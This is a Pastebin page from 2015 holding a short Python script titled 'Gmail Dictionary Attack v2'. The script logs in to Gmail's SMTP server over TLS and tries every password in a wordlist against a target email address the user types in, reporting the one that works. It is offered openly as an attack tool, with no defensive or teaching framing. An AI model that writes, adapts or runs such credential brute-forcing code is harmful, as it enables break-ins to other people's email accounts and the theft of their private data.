Guest User

Gmail Dictionary Attack

a guest
Jul 11th, 2015
49,185
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # Program: Gmail Dictionary Attack v2
  2. # Author: BurnCT
  3. # Purpose: Brute force smtp.gmail.com using a dictionary attack over TLS.
  4.  
  5. import smtplib
  6.  
  7. smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
  8. smtpserver.ehlo()
  9. smtpserver.starttls()
  10.  
  11. user = raw_input("Enter the target's email address: ")
  12. passwfile = raw_input("Enter the password file name: ")
  13. passwfile = open(passwfile, "r")
  14.  
  15. for password in passwfile:
  16.     try:
  17.         smtpserver.login(user, password)
  18.  
  19.         print "[+] Password Found: %s" % password
  20.         break;
  21.     except smtplib.SMTPAuthenticationError:
  22.         print "[!] Password Incorrect: %s" % password
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×